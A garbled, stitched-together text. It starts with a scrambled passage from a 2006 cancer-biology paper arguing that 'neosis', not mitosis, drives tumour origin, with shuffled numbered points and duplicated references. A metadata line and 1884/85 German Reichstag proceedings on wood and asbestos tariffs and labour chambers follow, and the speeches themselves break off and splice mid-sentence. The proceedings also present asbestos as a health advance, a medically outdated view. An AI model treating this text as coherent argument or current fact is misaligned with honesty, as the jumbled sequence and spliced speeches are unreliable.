tumor suppressor genes in the signal transduction path-
ways that can mutate or epimutate to cause cancerous
growth. Further, the same gene may not carry an identical
mutation even within a group of patients with one type of
cancer [220]. This makes it very difficult for the modern
approach of developing targeted therapy to treat cancers
in a highly specific fashion for the individual cancer types
and since the anticancer therapy is directed against mitotic
tumor cells, in due course tumors become resistant to Neosis paradigm of multistep carcinogenesis Several theories of carcinogenesis have been proposed so
far including: (1) the theory of step-wise accumulation of
gain of function mutations in oncogenes and loss of func-
tion mutations in tumor suppressor genes [179]; loss of
checkpoint control leading to genomic instability [2]; (3)
aneuploidy-induced genomic instability [66]; (4) senes-
cent checkpoint and telomere attrition [63,128,129]; (5) Page 18 of 26
(page number not for citation purposes) http://www.cancerci.com/content/6/1/25 Cancer Cell International 2006, 6:25 growth of cancer by producing neotic progeny with tran-
sient stem cell properties before they die. mutations in the apoptosis genes [126]; and (6) a combi-
nation of epigenetic and genetic alterations leading to
genomic instability and tumorigenesis [160-164], among
others. 4. In order to survive, the cell has to eliminate the mitoti-
cally non-viable polyploid genome and produce mitoti-
cally viable genome and multiply. Neosis fulfils all these
requirements
[5,6]. Delayed
DNA
repair
[132,133,152,153]
and
epigenetic
modulation
[160,161,163] reduce the GI load [6] and the resultant
viable daughter genome is copied several times and is
asymmetrically distributed to the daughter Raju cells via
nuclear budding and asymmetric cytokinesis [5,6]. Since
the nuclear envelope is kept in tact during neosis, the
spindle checkpoint is not activated and this protects the
cells from death by mitotic catastrophe. The non-viable
polyploid genome of the NMC is eliminated after produc-
ing several viable Raju cells [5]. The neosis paradigm of multistep carcinogenesis pro-
posed by us encompasses all of the above phenomena,
since the cancer cells seem to exploit these various phe-
nomena during different stages of their evolution into
malignancy. However, the major difference is that neosis
and not mitosis is involved in the origin of tumors while
tumor progression involves repetitive S/T-neosis inter-
spersed with an extended, but limited, MLS and senes-
cence between two neotic events [5,6]. Additionally, the
common belief is that only stem cells are the progenitors
of all cancers. The important property of a progenitor cell
is its potential to proliferate. Even a fully differentiated
cell can become cancerous, when infected by tumorigenic
viruses, since these cancer causing viruses carry genes that
can inactivate the tumor suppessor genes and promote
cell division [78]. Therefore, neosis paradigm assumes
that cells (ESCs, GSCs or ASCs) or progenitor cells at any
stage of determination or differentiation pathway may be
subject to mutational or epimutational changes. Neosis paradigm of multistep carcinogenesis It is pro-
posed that the mutational or epimutational damage
should be sufficient to incapacitate mitotic division and
to initiate the salvage pathway of neosis, without being
lethal to the cell. In instances where the damage is not
severe enough to inhibit successful completion of mitosis,
the initiated damage will be fixed by promotion (cell pro-
liferation) and P-neosis may be delayed until further accu-
mulation of genetic damage during the proliferative phase
[5], thus at least partially contributing to the latency of
induced neoplasms [30,31]. P-neosis is preceded by
genomic instability and followed by senescence and/or
telomere attrition. Therefore, the resultant mitotic deriva-
tives of Raju cells have the potential to become cancerous. 5. Since the primary Raju cells have diploid or near dip-
loid genomes derived from a non-viable polyploid
genome [5,129,132,133], neosis constitutes a parasexual
cycle of somatic reduction division, and probably incor-
porates some properties of meiosis and mitosis along with
some unique properties of neosis [6,175]. 6. The important properties of P-Raju cells (progeny of P-
neosis) are genomic instability [2][5,129,227,228] and
activation
of
telomerase
or
equivalent
processes
[63,64,139-141][228][229], meiotic genes [160-163],
self-renewal genes of stem cells [181-184] and multidrug
resistance genes [185,186]. 7. Diploid or near diploid Raju cells of P-neosis with
genomic instability have activated telomerase and diploid
cells may inherit aneuploidy during the next S/T-neosis
[6]. Introduction of aneuploidy creates an opportunity for
breakage-fusion-bridge cycle giving rise to duplications,
deletions and gene amplification and acts as the built in
mechanism for an increase in GI load through extended
mitotic proliferative phase [63,66,67]. The following sequence of events and processes are envis-
aged to be exploited by cancer cells to survive and multi-
ply in order to avoid death. 8. Raju cells inherit lower GI load and with transient stem
cell-like properties, display extended, but limited, MLS
and are the tumor progenitors; their EMLS is subject to tel-
omere attrition due to repetitive mitotic divisions, accom-
panied by defective differentiation. Therefore, their life
span has to be rejuvenated by S/T-neosis. 1. Accumulation of age-dependent epimutations [160-
164] and both endogenous (inherited or through aging)
and exogenous DNA damage may cause loss of check-
point control(s) and genomic instability [63]. 2. Telomere attrition may increase the GI load and induce
the senescent phase and mitotic crisis [23,58,63]. 9. Thus, tumor cells appear to be in fact mortal. Neosis paradigm of multistep carcinogenesis Tumor
cells will have to eventually die, if it were not for the proc-
ess of neosis. Some senescent cells will attain polyploidy
via endomitosis or endoreduplication, or by cell fusion
and a subset of them will escape mitotic catastrophe via S/
T-neosis, and regain extended MLS (Fig. 1). 3. Some cells escape from senescence by undergoing poly-
ploidy, which confers survival value [5,6,207,208]. They
still face cell death via mitotic catastrophe [20] and neotic
catastrophe [5], while a few manage to rejuvenate the Page 19 of 26
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(page number not for citation purposes) Cancer Cell International 2006, 6:25 http://www.cancerci.com/content/6/1/25 almost all types of cancers, both hematopoietic and solid
tumors, suggests that common role for neosis in cancers is
of great significance; but so far, did not receive the careful
scrutiny it deserves. 10. Tumor cells are subjected to natural selection [68]. Each neotic division yields Raju cells resistant to the con-
ditions at the time of neotic event [5,6,89,132,133,216]. 11. Raju cells of advanced tumors may be different from
those of the early or P-neosis, in that they may be more
malignant, with altered MLS and may undergo non-syn-
chronized S/T-neosis. Their MLS will be determined by
the nature of the mutations in their senescent, pro-apo-
totic, and longevity genes. NMCs and the process of neosis may be the Achilles' heel
common to different types of cancers and therefore, may
be cancer-specific targets to develop novel anti-neotic
agents or "neosicides", which by definition could be effec-
tive in specific killing or inhibiting growth of different
tumor types, without much non-specific side effects on
normal cells. We suggest that it will be easier to target
senescent NMCs rather than targeting actively dividing
mitotic derivatives of Raju cells (equivalent of the so
called cancer stem cells, but for the difference in their ori-
gin and fate?) in order to stop the growth of tumors. In
addition, an ideal "neosicide" may be useful in preventing
the on-set of primary tumor growth in high risk individu-
als. Conclusion We trust that the above discussion has highlighted the
drawbacks in the current concepts of the understanding of
the biology of cancer pathogenesis. Contrary to the cur-
rent belief, cancer originates via neosis and not via mito-
sis. Cancer cells are not immortal, since they also have
limited MLS and are subject to senescence and some of
them escape death by senescence due to mutations in the
senescent checkpoint pathway. Finally, cancer self-
renewal may not be because of immortal CSCs, but
because of repetitive neosis that rejuvenates cancer growth
by yielding newer populations of Raju cells, which are
more malignant or resistant to the conditions that drove
the neotic division. Neosis paradigm of multistep carcinogenesis Although there is minimal information on the molec-
ular events leading to and during neosis, the enormous
data on hand concerning karyokinesis, cytokinesis,
nuclear budding, cell cycle checkpoints, cyclins, onco-
genes, tumor suppressor genes, genomic instability, apop-
tosis, mitotic catastrophe, and molecular profiles
characterizing their alterations in different cancer types
can be exploited to formulate a rational process for under-
standing the etiology of cancer and developing rational,
effective and safe therapies against cancer. 12. The primary event during neosis appears to be the epi-
genetic modification of the daughter cell genome result-
ing in fine tuning the gene expression profile to yield a
mitotically viable cell from the mitotically nonviable
polyploid genome, which is destined to be discarded soon
after the successful completion of neosis. 13. Neosis helps cells evade death via mitotic catastrophe,
and acts as a mechanism of cancer self-renewal by yielding
resistant Raju cells with transient stem cell properties, and
introduces heterogeneity in the tumor cell population for
natural selection to act upon. 14. Thus, neosis is dynamically involved in maintaining
the continuity of tumor cell lineage and tumor progres-
sion into malignancy. Non-synchronous occurrence of S/
T-neosis creates the illusion of the existence of Cancer
Stem Cells and the mirage of immortality of cancer cells. Page 20 of 26
(page number not for citation purposes) Future prospects Although preliminary, over the past few years several lab-
oratories both in Europe and in North America have
reported neosis-like events in different normal and tumor
cell types (Table 1). Studying the behavior of individual
neotic clones has revealed the significance of their central
role in cancer [5]. In almost all tumor cells in vitro and in
vivo, MN/PG cells (potential NMCs) are found and at a
given time, a minor population of NMCs will be undergo-
ing neosis in a non-synchronous fashion. Therefore, a
minor but variable fraction of Raju cells with transient
stem cell-like properties will always be found in any
tumor tissue, depending on the frequency of S/T-neosis. Based on our observations and those of others, we have
provided preliminary evidence for a comprehensive and
pivotal role for neosis in the origin and progression of
tumors in different mammalian systems including human
primary and metastatic tumor derived cell lines in vitro
[5,6]. We have listed the properties of neosis as opposed
to those of mitosis and meiosis [Table 2 in ref. [6]]. It is
apparent that neosis is unique to the outgrowth of neo-
plastic cells from normal or established cell lines or tumor
cells under conditions of high GI load, whether it is spon-
taneous, inherited or induced by chemical, viral or physi-
cal factors. The fact that MN/PG cells are ubiquitous in Conventional non-surgical anti-cancer treatments such as
chemotherapy and radiation therapy do not distinguish
between mitotic normal and tumor cells and therefore,
have proved to be not very effective at eradicating tumor
growth and results in undesirable side effects. In addition,
these therapies are known to induce the recurrent growth
of resistant tumors probably via neosis in the place of the
originally responsive tumors [5,6,131-133]. The discovery
of neosis has identified novel cellular targets, against
which one can identify novel neosis-specific molecular
targets in order to design anti-neotic agents or neosicides. Page 20 of 26
(page number not for citation purposes) Page 20 of 26
(page number not for citation purposes) http://www.cancerci.com/content/6/1/25 Cancer Cell International 2006, 6:25 Cancer Cell International 2006, 6:25 Further, since there are no senescent cells in the normal
tissues where mitotic population is high, an ideal neosi-
cide(s) is expected to be highly specific for tumor cells and
is bound to minimize or eliminate undesirable side effects
on normal mitotic cells. Additional File 5 Raju cell maturing into tumor cell with increase in cell mass displays
clonogenecity. A group of Raju cells of varying ages are increasing in cell
mass and undergoing mitosis giving rise to a colony of the next generation
of tumor cells at the right half of the fame. Click here for file [http://www.biomedcentral.com/content/supplementary/1475-
2867-6-25-S5.mov] References 1. Kliensmith LJ, Kish VM: Principles of cell and molecular biology. 2nd edition. Harper Collins College Publishers; 1996:517-561. 1. Kliensmith LJ, Kish VM: Principles of cell and molecular biology. 2nd edition. Harper Collins College Publishers; 1996:517-561. 1. Kliensmith LJ, Kish VM: Principles of cell and molecular biology. 2nd edition. Harper Collins College Publishers; 1996:517-561. p
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d l ASCs, Adult or Tissue Stem cells; CSCs, Cancer Stem Cells;
CT antigens, Cancer/Testes antigens; ESCs, Embryonic
Stem Cells; HCS, hematopoietic stem cells, hMSCs,
human mesenchymal stem cells; hTERT, human telomer-
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2867-6-25-S6.mov] [http://www.biomedcentral.com/content/supplementary/1475-
2867-6-25-S6.mov] Acknowledgements We thank Dr Tarun Ghose, Dr Gary Faulkner, Dr. J. Erinpreisa, Prof. E. Sikora, Prof. F. Martin and Mrs. Kausalya Rajaraman for very insightful dis-
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Primary neosis in a tetraploid MN/PG formed by C3H10T1/2 cells on
post-irradiation day 14. Click here for file
[http://www.biomedcentral.com/content/supplementary/1475-
2867-6-25-S1.mov]
Additional File 2
Neotic catastrophe in an MN/PG formed due to irradiation of C3H10T1/
2 cells. Click here for file
[http://www.biomedcentral.com/content/supplementary/1475-
2867-6-25-S2.mov]
Additional File 3
Spontaneous S/T-neosis in HTB11 cells. The first half of the clip shows a
Raju cell emerging from a cell lying vertical on the centre right of the
frame. The second half shows the emergence of a Raju cell from the cell
lying horizontal in the centre of the frame. Click here for file
[http://www.biomedcentral.com/content/supplementary/1475-
2867-6-25-S3.mov]
Additional File 4
Mitosis of a nascent Raju cell at the lower left of the frame. Click here for file
[http://www.biomedcentral.com/content/supplementary/1475-
2867-6-25-S4.mov] Availability Additional files can also be found at [142]. All video clips
are quicktime-Sorensen format with 15 frames/s. In VC 1–
5, Images were recorded every 10 min and in VC.6 images
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ram et al., 2004. Additional File 1 g
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bsb00018451_21 | German-PD | Open Culture | Public Domain | null | Deutsches Reich, Reichstag: Verhandlungen des Reichstages. Stenographische Berichte. 81. 1884/85 | None | German | Spoken | 7,083 | 11,318 | Wesentlich anders liegt aber doch die Sache bei dem schon bearbeiteten Holz, eine Herren. Nach dem über-einstimmenden Urteil aller, die der Sache näher stehen, auf deren Urteil ich ein größeres Gewicht legen möchte als das des Herrn Vorredners, ist in der Tat eine kolossale Vorrathseinfuhr von bearbeiteten Hölzern zu erwarten, wenn der Termin so lange hinausgeschoben wird, wie hier beantragt ist. Meine Herren, der erste Juli, womit wir annehmen, daß der Zolltarif im Mai zu Stande kommt, ist eine Hinausschiebung um etwa 2 Monate, und dazu liegt in der Tat kein Grund vor. Diejenigen von Ihnen, welche wünschen, daß der Zoll bald in Wirksamkeit treten solle, daß nicht auf Monate hinaus die Wirkungen des Zolltarifs gerade rücksichtlich der Verarbeitung des Holzes aufgehalten werden sollen, — die werden, glaube ich, diesem Vorschlage nicht zustimmen können, sondern werden sich dem Vorschlage des Herrn Abgeordneten von Schlieckmann anschließen, daß bezüglich der Nr. 62 und 63 des Tarifs der erhöhte Zoll sofort in Wirksamkeit treten soll. Ich möchte nur hinzufügen, daß von Memel, Ruß und Tilsit die dringendsten Vorstellungen und Bitten eingegangen sind, in dieser Beziehung doch den Vorschlägen der Kommission nicht zustimmen. Diese Interessenten, die an sich gegen Holzzölle sind, fürchten in der Tat eine wesentliche Schädigung ihrer und allgemeiner Interessen, wenn man den Zoll für das schon bearbeitete Holz erst mit dem 1. Juli in Kraft treten läßt. Präsident: Das Wort hat der Herr Abgeordnete Graf zu Stolberg-Wernigerode. Abgeordneter Graf zu Stolberg-Wernigerode: Meinerechte, ich kann mich den sachlichen Gründen, die mein Freund, der Herr Abgeordnete von Schlieckmann, für eine schnellere Einführung des Satzes in Bezug auf die Tarifnummer 13 o 2 und 3 angeführt hat, durchaus nicht verschließen; allein ich möchte Sie bitten, zum mindesten heute von der Annahme eines solchen Antrages Abstand zu nehmen, und zwar mit Rücksicht auf die clausula Windthorst, die dem Sperrgesetz beigefügt worden ist. Meine Herren, soweit ich die Stimmung des Reichstags kenne, würde die Annahme dieses Antrages des Herrn Abgeordneten von Schlieckmann unzweifelhaft die Folge haben, dass die clausula Windthorst auch auf diese Position ausgedehnt werden würde. Das scheint mir persönlich aber außerordentlich bedenklich. Meine Herren, die Einführungstermine für die verschiedenen Positionen des Tarifs stehen ja naturgemäß mit einander im Zusammenhang. Als wir in der Kommission die Fassung dieses H 3 beschlossen, gingen wir von der Ansicht aus, die Holzzölle würden ungefähr zu gleicher Zeit wie die anderen Tarifpositionen — nämlich wie die Tarifpositionen, die jetzt in anderen Kommissionen vorberaten werden — hier zur Berathung kommen, und darum glaubten wir unsererseits, für den Einführungstermin gleich positive Vorschläge machen zu müssen. Nun kommt aber diese Berathung über die Holzzölle viel früher als die Berathung über die anderen Gegenstände. Meine Herren, Sie haben ja den Antrag Ausfeld und alle die hiermit zusammenhängenden Fragen einer besonderen Kommission überwiesen; ich glaube, Sie würden den Beschlüssen Ihrer Kommission präjudizieren, wenn Sie heute diesen Antrag annehmen. Aus diesen Gründen möchte ich Sie bitten, heute von einer Diskussion und Beschlussfassung über den Z 3 Abstand zu nehmen und damit so lange zu warten, bis er entweder nochmals in der Kommission vorberaten ist, oder aber bis im allgemeinen die sämtlichen Tarifpositionen die zweite Lesung hier im Reichstag passiert haben. Präsident: Das Wort hat der Herr Abgeordnete Stiller. Abgeordneter Stiller: Meine Herren, in der Kommission sind damals über diesen Punkt eingehende Erwägungen und Erörterungen gepflogen worden, und die haben uns zu den Resultaten gebracht, wie eben die Beschlüsse der Kommission sie jetzt vor Sie hinstellen. Nach allem, was man bisher eingezogen hat von den in Frage kommenden fachmännischen und kaufmännischen Kreisen, hat man sich an die Idee gewöhnt, dass behaupte und gesägte Ware bis zum 1. Juli, die rohe Ware dagegen bis 1. Oktober auf Grund des alten Zolltarifs eingeführt werden könnte. Man hat sich damit zufrieden gegeben, und ich muß gestehen im Gegensatz zu den Ausführungen des Herrn Grafen Stolberg, dass gerade in derjenigen Kommission, die jetzt mit der Ausarbeitung des Sperrgesetzes sich zu befassen hat, eine gewisse Beruhigung obgewaltet hat in Hinsicht gerade auf diese für das Holzzollgesetz getroffene Bestimmung. Ich glaube, es würde so ziemlich nach allen Seiten hin billiger scheinen und den Ansprüchen an Billigkeit entsprechen, wenn wir diesen Termin bestehen lassen wollten, auch schon aus dem Grund, weil diese Artikeln, welche in dieser Hinsicht hervorragen, gehören auch die Asbesthandschuhe. Meine Herren, die Asbesthandschuhe sind sehr wertvoll für solche Arbeiter an Hochöfen und in Gießereien, welche dem Einfluss einer ganz außergewöhnlichen Hitze ausgesetzt sind. Nun, meine Herren, Sie sehen, ein Handschuh dieser Art kann nicht gerade Anspruch auf Eleganz erheben; nach dem heutigen Zolltarif wird dieser Artikel nichtsdestoweniger mit 300 Mark unter der Position Kleider und Putzwaaren verzollt. (Heiterkeit.) Neben den Handschuhen spielen eine hervorragende Rolle die Masken von Asbest und schließlich ganze Anzüge von Asbest, und es gibt, Gott sei Dank, bereits in Deutschland manche große Etablissements, welche Veranlassung genommen haben, für ihre am meisten exponirten Arbeiter solche Asbestanzüge und Asbesthandschuhe anzuschaffen. Auf der letzten Hygieneausstellung, hier in Berlin befanden sich in jener Galerie, welche einen Überblick gab über die Fortschritte, die auf hygienischem Gebiete getroffen sind zum Schutz der Gesundheit der Arbeiter, auch jene Handschuhe und jene Kleidungsstücke, welche aus Asbest produziert werden. Es handelt sich in diesem Falle ganz ausdrücklich um einen Stoff, der wie kein anderer die Möglichkeit bietet, selbst bei sehr exponirten Stellen dem Arbeiter einen wesentlichen Schutz gegen den Einfluß außerordentlicher Hitze zu gewähren. Die Asbestgewebe finden aber noch bei vielen anderen Dingen Verwendung; so werden z. B. aus Asbestgeweben die Überzüge für Boote hergestellt, insbesondere auch auf Kriegsschiffen; denn da das Asbestgewebe, wie gesagt, unverbrennlich ist, so bietet es auch einen Schutz gegen die Feuersgefahr, welche durch Funken u. s. w., welche aus den Schornsteinen der Dampfer heraussteigen, entstehen könnte. Meine Herren, Asbest ist eben in ganz eminenter Weise ein Artikel, dessen ausgedehnte Benutzung tatsächlich einen ökonomischen und hygienischen Fortschritt bedeutet, und diese Rücksicht, meine Herren, müssen wir bei Bemessung des Zollsatzes in den Vordergrund stellen, in den Vordergrund stellen trotz aller derjenigen Interessen, welche die beiden bestehenden Asbestwaarenfabriken repräsentieren. Nun spielt ja bei Asbestwaaren die Qualität eine ganz besondere Rolle, und die Petenten lasten es sich auch angelegen sein, die fremden Produkte in ihrer Qualität herabzusetzen. Nun, meine Herren, ich glaube, hier im Hause sind manche anwesend, welche in ihren industriellen Etablissements ebenfalls Asbestartikel verwenden. Ich selbst kann nur nach den mir vorliegenden Angaben auf das bestimmteste versichern, dass auch heute noch in den wesentlichsten Artikeln die fremden Produkte wesentlich teurer sind als die deutschen Produkte. Man kann diese Asbestpappe heute in Deutschland, in deutscher Waare zu zirka 90 bis 100 Mark pro Doppelzentner kaufen, während man die englische Waare nicht unter 120 Mark erhalten kann. In ganz ähnlichem Verhältnis stehen die Preise bei den Asbestgarnen, welche ebenfalls zur Dichtung von Dampfleitungen dienen, ferner bei den Asbestgeweben. Bei den Asbestgeweben kommen in Betracht die Gewebe aus reinem Asbest, sodann die mit Baumwolle gemischten Gewebe. Die Asbestgewebe haben ja schon früher die Rolle einer Kuriosität gespielt, und man erzählt, daß Kaiser Karl V. ein Tischtuch von Asbest besessen habe, welches nach vollbrachter Mahlzeit zum Ergötzen der Tischgenossen in den Kamin geworfen wurde, da das Ausbrennen die Unreinlichkeit bequemer beseitigte als das Waschen. Nun, meine Herren, gerade diese Stoffe dienen zu den Zwecken, von denen ich vorhin gesprochen habe. Überall da, wo es darauf ankommt, einen Schutz für Menschen oder maschinelle Einrichtungen zu treffen, bedeutet die Anwendung des Asbests einen großen Fortschritt. Bisher hat man sich an solchen Stellen begnügen müssen, statt der Asbestpappe gewöhnliche Pappe zu verwenden, und bei der Anwendung von durch die Hitze so leicht angreifbaren Stoffen wie der gewöhnlichen Pappe war die notwendige Folge, dass häufig eine Erneuerung notwendig war, andererseits, dass auch eine gewisse Feuergefahr vorhanden war. Überall, wo Asbest an Stelle anderer Stoffe tritt, bedeutet es einen wesentlichen Fortschritt in ökonomischer und hygienischer Hinsicht. Und, meine Herren, wenn Sie sich nun das vergegenwärtigen bei der Betrachtung der vorliegenden Frage, so meinen, dass wir bei Bemessung des Zollsatzes nicht über ein verständiges, bescheidenes Maß hinausgehen dürfen. Wir müssen uns gegenwärtig halten, dass es darauf ankommt, die weitere Anwendung des Asbests nicht durch irgend welche weitgehende Vertheilung desselben, nicht zu Gunsten einiger weniger Fabrikanten zu hemmen, sondern dass es recht eigentlich im Interesse unserer Industrie wie im Interesse unserer Arbeiter ist, die Verwendung von Asbestwaaren in möglichstem Umfange zu fördern. Dazu ist das beste Mittel, dass diese Asbestartikel vor jeder weiteren Vertheilung bewahrt bleiben. Diesen Zweck, meine Herren, sucht mein Antrag zu erreichen, indem er zugleich in einer, wie mir scheint, sehr entgegenkommenden Weise auch den Wünschen der Asbestfabrikanten Rechnung zu tragen sucht. Freilich, meine Herren, wenn jene Fabrikanten kommen und den Anspruch erheben, dass auf die Asbestpappe, welche heute einen Wert von 90 bis 100 Mark pro Doppelzentner hat, ein Zoll von 100 Mark gelegt werden, so verlieren sie eigentlich allen Anspruch auf Glaubwürdigkeit. Wenn sie mit solchen Ansprüchen hervortreten, welche gerade einen wichtigen Fortschritt empfindlich hindern würden, so gibt es darauf keine andere Antwort als eine schroffe Abweisung. Ich weiß nicht, ob ich richtig thue, meine Zollsätze im einzelnen gleich zu begründen. - Da mir dies bestätigt wird, möchte ich also zurückgreifen auf den wichtigsten Artikel, die Asbestpappe. Für diese schlägt mein Antrag, wie gesagt, eine Verfünffachung des bestehenden Zolls vor. In Übereinstimmung mit der Regierung wird dabei der gleiche Zollsatz beantragt, sowohl für Asbestpappe wie für Asbestpapier. Das letztere findet nur in geringem Umfang Verwendung und spielt auch bei dem Import nur eine sehr untergeordnete Rolle. Das Formen der Asbestpappe ist nur eine kleine Arbeit, die auch ein ungeübter Arbeiter ohne Umstände vornehmen kann. Ich habe deshalb auch von einem weitgehenden Zollschutz für das Formen abgesehen und Ihnen vorgeschlagen, dem Zollsatz für Pappe von 5 Mark einen Zollsatz von 8 Mark für die geformte gegenüberzustellen. Eine hervorragende Rolle neben der Pappe spielen vor allen Dingen die Garne, welche zu gleichen Zwecken, nämlich zum Dichten dienen. Für diese Garne habe ich in gleicher Weise, etwa mit demselben Prozentsatz wie für Pappe, einen Zoll zu schaffen gesucht. Auch wenn wir die übrigen Sätze für Garne und Schnüre in unserem Tarife ansehen, so muß man sich sagen, dass bei dem heutigen Preis für diese Asbestgarne von etwa 240 Mark pro 100 Kilogramm der von mir vorgeschlagene Zollsatz ein durchaus angemessener ist. Von großer Wichtigkeit ist es dabei, dass neben diesen eigentlichen Garnen auch diejenigen Gewebe berücksichtigt werden, welche in Form von Schnüren eine Talkfüllung haben und in ganz besonderem Umfang Verwendung finden. Der Wert dieser Artikel ist noch 15 Prozent niedriger als der der eigentlichen Garne, so dass der vorgeschlagene Zoll auch für diese völlig ausreichend wäre. Endlich kommt der letzte Artikel, die Asbestgewebe, Asbesthandschuhe und dergleichen. Meine Herren, für diese Artikel bestand zum Teil ein sehr niedriger Zoll, für die Asbestgewebe, den Hauptartikel, nur ein Zoll von 3 Mark. Mein Antrag will auch diesen Zoll auf 24 Mark erhöhen in Rücksicht auf den vorgeschlagenen Zollsatz für Asbestgarne. Dagegen scheinen mir die Zollsätze der Regierungsvorlage 1751 Reich, und die Innungsmeister werden zum allergrößten Theile selber sagen: wie konnten wir nur eines Tages so einfältig sein und glauben, daß uns mit Innungen noch geholfen werden könnte gegenüber dieser großartigen kapitalistischen Entwicklung? (Lachen rechts.) Heute bereits sind in den Innungskreisen selbst bedeutende Bedenken. Ich habe in diesen Kreisen auch meine Fühlung; ich habe da eine Menge von Leuten im Laufe der letzten Zeit gesprochen, die sagen: ja, wir fangen doch allmählich an, einzusehen, daß wir uns etwas sehr getäuscht haben über die Wirkung dieser Innungen und die Möglichkeit des Eingreifens in die ganze soziale Organisation der heutigen Gesellschaft, in die Erwerbsverhältnisse, insbesondere in die Konkurrenz- verhältnisse. Wir können weder in Bezug auf die Arbeits- verhältnisse noch in Bezug auf die Preise den gewünschten Einfluss ausüben. Wenn Sie nun, meine Herren, den Innungsmeistern nicht die Garantie und die Mittel bieten können, daß sie mit Hilfe ihrer Innungen sich eine höhere Lebenshaltung zu erwerben vermögen, daß ihre Arbeiten besser bezahlt werden, ihr Verdienst und die Sicherheit ihrer Lebensstellung größer wird, — dann, meine Herren, ist die ganze Innungs einfach ein Brimborium, sie ist nicht das Papier werth, auf dem die Statuten geschrieben sind. Wo die Berufsgenossenschaften bleiben, fragt weiter Herr Dr. Hartmann, wenn unsere Organisation durchgeführt werde. Ja, da hat er sich, wie mir scheint, mit der Sache gar nicht genauer beschäftigt; so weit mein Verständnis von der Sache reicht, hat unser Antrag und die Organisation, wenn dieselbe durchgeführt ist, mit den Berufsgenossenschaften gar nichts zu schaffen; die haben ein wesentlich anderes Gebiet ihrer Tätigkeit als die Arbeitsräte, Arbeitsämter und Arbeitskammern, die wir Ihnen vorschlagen. Die aus den Berufsgenossenschaften hervorgehenden Schiedsgerichte, die sich mit den Streitigkeiten beschäftigen, die aus der Unfallversicherung resultieren, haben auch nicht das allermindesten gemeinsam mit denen, die wir vorschlagen. Die ganzen Ausführungen, die der Abgeordnete Dr. Hartmann in diesen Punkten gemacht hat, waren eben vollkommen deplaziert. „Sie wollen den § 100 der Gewerbeordnung", sagt der Abgeordnete Dr. Hartmann weiter, „den wir erst nach so langer Zeit, mit so unendlicher Mühe durchgebracht haben, aufheben." Das dürfen wir Ihnen doch nicht zutrauen, daß sie den jetzt leichtfertig preisgaben; den würden sie bis aufs äußerste verteidigen. Ach, meine Herren, darüber haben wir uns auch nie im geringsten getäuscht. Glauben Sie, wir hätten erwartet, bei unserem Organisationsentwurf in Ihnen (rechts) Bundesgenossen zu finden? (Zurufe rechts: Wenn denn!) Meine Herren, wir nehmen die Bundesgenossen, woher sie kommen, das ist uns ganz gleichgültig, aber daß wir sie bei Ihnen finden sollten, überrascht mich etwas, in diesem Fall am allermeisten. (Lachen rechts.) Und außerdem, meine Herren, wenn wir die Bundesgenossen nehmen, woher sie kommen, so werden wir der Bundesgenossen halber, des seien Sie versichert, keine Konzessionen machen. (Zuruf rechts: Na! na!) Nein, wir machen keine Konzessionen. Wollen Sie unsere Bundesgenossen sein, dann müssen Sie akzeptieren, was wir vorschlagen. (Sehr gut! und große Heiterkeit rechts.) Meine Herren, wenn nicht, nicht! sage ich Ihnen. (Zurufe.) Und dann noch eins: glauben Sie denn, daß der Wind aus der konservativen Ecke ewig weht? Ich nicht; der kann einmal rasch sich ändern und wird sich rasch ändern, verlassen Sie sich darauf! (Zuruf.) Unser Wind hat noch nicht geweht, aber der kommt auch, und dann wird es möglicherweise ein Sturm. Also auf die Annäherung, auf die der Herr Dr. Hartmann gerechnet hat, kann ich zu meinem Bedauern nicht eingehen. Er hat dann auch die Gefährlichkeit der Arbeitskammern damit darzulegen versucht, dass er darauf hinwies, was daraus entstehen könnte, wenn einmal unruhige Zeiten eintraten, dass dann leicht die Perspektive auf die Laterne für die Arbeitgeber käme. Meine Herren, ich glaube, wir machen hier Gesetze für die Zeiten der Ruhe, die doch wohl die Regel sind; wenn stürmische Zeiten kommen, revolutionäre Zeiten, wie ich nach den Worten des Herrn Abgeordneten Dr. Hartmann annehmen muss, — ja, meine Herren, dann ist sehr möglich, dass alsdann nicht allein die Arbeitskammern, sondern noch gar vieles andere von den aufgeregten Massen in ihrem Sinne beeinflusst wird. Vorläufig sind wir noch nicht so weit, darüber haben wir uns also auch die Köpfe noch nicht zu zerbrechen, und ich meine, dass das wenigstens keine Gesichtspunkte sind, von denen man heute schon Gesetzgebung macht. Brechen wirklich revolutionäre Unruhen aus, die nicht siegreich sind, so steht der Perspektive auf die Laterne, welche die Arbeitgeber nach Herrn Dr. Hartmann haben sollen, die Perspektive auf den Staatsanwalt für die Arbeiter gegenüber, und in dieser Rolle wird Herr Dr. Hartmann, wie ich wohl annehmen darf, wohl seinen Mann zu stellen wissen. (Heiterkeit links.) Also kann er nach dieser Seite hin ebenfalls vollkommen ruhig sein. Er hat dann auch seine großen Bedenken gegen den Minimallohn ausgesprochen, in dem er eine ganz besonders radikale Forderung sah. Nun, ich will Ihnen ganz offen aussprechen — denn es ist ja kein Geheimnis —: über diese Forderung sind in der Sozialdemokratie selbst die Meinungen unterschiedlich. Die einen meinen, die Sache sei durchführbar, die anderen bestreiten dies. Man hat ganz einfach gesagt: man lasse es einmal auf die Probe ankommen; wir werden ja sehen, wie weit wir kommen; wir schaffen da eine neue Einrichtung, — sehen wir, daß sie sich erprobt, dann ist sie gut; erprobt sie sich nicht, dann schaffen wir sie wieder ab. Herr Dr. Hartmann und seine Freunde dürften jedenfalls die ersten sein, die im letzteren Falle bereit wären, mit den bezüglichen Anträgen zu kommen. Jedenfalls also, meine Herren, glaube ich, daß, wenn Sie wirklich eine umfassende gründliche Sozialreform wollen. Sie auch eine Organisation, wie wir sie — wobei ich ja auf Nebendinge und Abänderungen im Kleinen kein Gewicht lege — Ihnen vorgeschlagen haben, in der Hauptsache akzeptiren müssen. Es gibt nach meiner und meiner Freunde reiflichster Erwägung, da wir wahrhaftig, wie ich glaube, die Verhältnisse praktisch kennen, kaum einen anderen Ausweg dafür. Und daß wir in diesen Kammern Arbeiter und Arbeitgeber zusammen wirken lassen, — nun, ich meine, das dürfte Ihnen auch zur Genüge zeigen, daß wir wenigstens für alle die Fragen, die auf dem Boden der heutigen bürgerlichen Gesellschaft entschieden werden können, auch von der Ansicht ausgehen: hier ist eine Verständigung zwischen den beiden streitenden Klassen, was auf der einen Seite die Arbeiterklasse, auf der anderen die Unternehmerklasse ist, notwendig. Es ist notwendig, daß sie da in den bezüglichen Körperschaften, wo alle Fragen erörtert werden, zusammentreten und sich gegenseitig verständigen und durch ihre schließliche Abstimmung dokumentieren, nach welcher Seite hin sie die Dinge geordnet sehen möchten. 242 2006 Reichstag. — 73. Sitzung. Sonnabend den 21. März 1885. brachen werden, sondern wir können nur 